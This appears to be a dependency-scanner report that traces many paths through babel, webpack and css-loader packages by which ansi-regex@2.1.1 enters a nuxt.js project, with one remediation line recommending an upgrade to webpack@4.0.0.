Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › yargs@6.6.0 › cliui@3.2.0 › wrap-ansi@2.1.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to webpack@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › csso@2.3.2 › clap@1.2.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › csso@2.3.2 › clap@1.2.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
